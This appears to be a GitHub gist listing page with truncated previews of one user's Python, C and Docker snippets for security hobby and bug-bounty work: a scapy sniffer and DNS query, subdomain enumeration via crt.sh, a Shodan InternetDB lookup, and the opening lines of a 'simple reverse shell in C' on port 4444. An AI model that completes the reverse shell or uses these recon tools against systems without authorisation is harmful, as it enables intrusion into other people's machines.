Skip to content

Instantly share code, notes, and snippets.

@zPrototype
zPrototype / dnsResolve.py
Last active February 14, 2020 10:32
Fun with scapy
from scapy.all import *
def emptyLine():
print("****************************************")
Url = input("Enter domain name: ")
emptyLine()
dnsResponse = sr1(IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=Url)))
@zPrototype
zPrototype / progressbar.py
Last active February 22, 2020 00:43
Python progressbar with the help from the legend developer himself @iCaotix
import sys
import time
import os
def print_progressbar(percentage):
columns = int(os.popen('stty size', 'r').read().split()[1]) # length of current line
columns -= 7 # subtract formatting [] xxx%
num_hashes = int(columns / 100 * percentage)
sys.stdout.write("\r")
@zPrototype
zPrototype / sniffer.py
Created February 22, 2020 19:45
Python packet sniffer with scapy
from scapy.all import *
setInterface = input("Enter your interface: ")
countOfPackets = int(input("Enter amount of packets to sniff (default = 100): ") or "100")
setTimeout = int(input("Enter seconds before timeout (default = 5s): ") or "5")
print("")
conf.iface = setInterface
packets = sniff(count=countOfPackets, timeout=setTimeout)
@zPrototype
zPrototype / statusCodeGetter.py
Last active April 25, 2020 02:13
Python script to get status codes
import requests
import time
import argparse
from concurrent.futures import ThreadPoolExecutor
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", action="store", help="Enter path to domainfile")
parser.add_argument("-t", "--threads", action="store", help="Enter the number of threads you want to use")
args = parser.parse_args()
sudo apt update && sudo apt upgrade -y && sudo apt autoclean -y && sudo apt autoremove -y
sudo apt install curl wget git nmap golang vim zsh python3-pip python3-dev ruby tmux cmake pkg-config libfreetype6-dev libfontconfig1-dev libxcb-xfixes0-dev libxkbcommon-dev
pip3 install rich dataclasses-json
# Clone git stuff
# Maybe write a for loop or just convert this whole thing into python because why not
git -C /opt/ clone https://github.com/aboul3la/Sublist3r.git
git -C /opt/ clone https://github.com/dwisiswant0/apkleaks.git
@zPrototype
zPrototype / Dockerfile
Last active October 1, 2021 10:24
A dockerfile to setup a simple ubuntu container for bugbounties
FROM ubuntu:20.04
ENV TZ Europe/Berlin
RUN DEBIAN_FRONTEND="noninteractive" && \
apt-get update && \
apt-get upgrade -y && \
apt-get autoclean -y && \
apt-get autoremove -y && \
apt-get install -y sudo apt-utils tzdata && \
dpkg-reconfigure --frontend noninteractive tzdata && \
@zPrototype
zPrototype / crtsh.py
Last active November 4, 2021 09:12
Pull and parse subdomains from crt.sh
#!/usr/bin/python3
import requests
import argparse
import re
from rich.console import Console
CONSOLE = Console()
parser = argparse.ArgumentParser()
@zPrototype
zPrototype / internetdb.py
Last active February 22, 2022 06:12
Pull info from shodans internetdb
#!/usr/bin/python3
import socket
import requests
import json
import argparse
from rich.console import Console
def get_arguments():
@zPrototype
zPrototype / revShell.c
Last active August 24, 2022 17:11
Simple reverse shell in C
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sock;
int port = 4444;
struct sockaddr_in revsockaddr;
FROM python:3.9.9-slim-bullseye
RUN apt-get update && \
apt-get upgrade -y && \
apt-get install git -y && \
git -C /opt/ clone https://gist.github.com/29add14089b54f72e9f5063bdda4d2ec.git && \
pip3 install python-twitter python-dateutil typing
WORKDIR /data
ENTRYPOINT ["python3", "/opt/29add14089b54f72e9f5063bdda4d2ec/twitter_scraper.py"]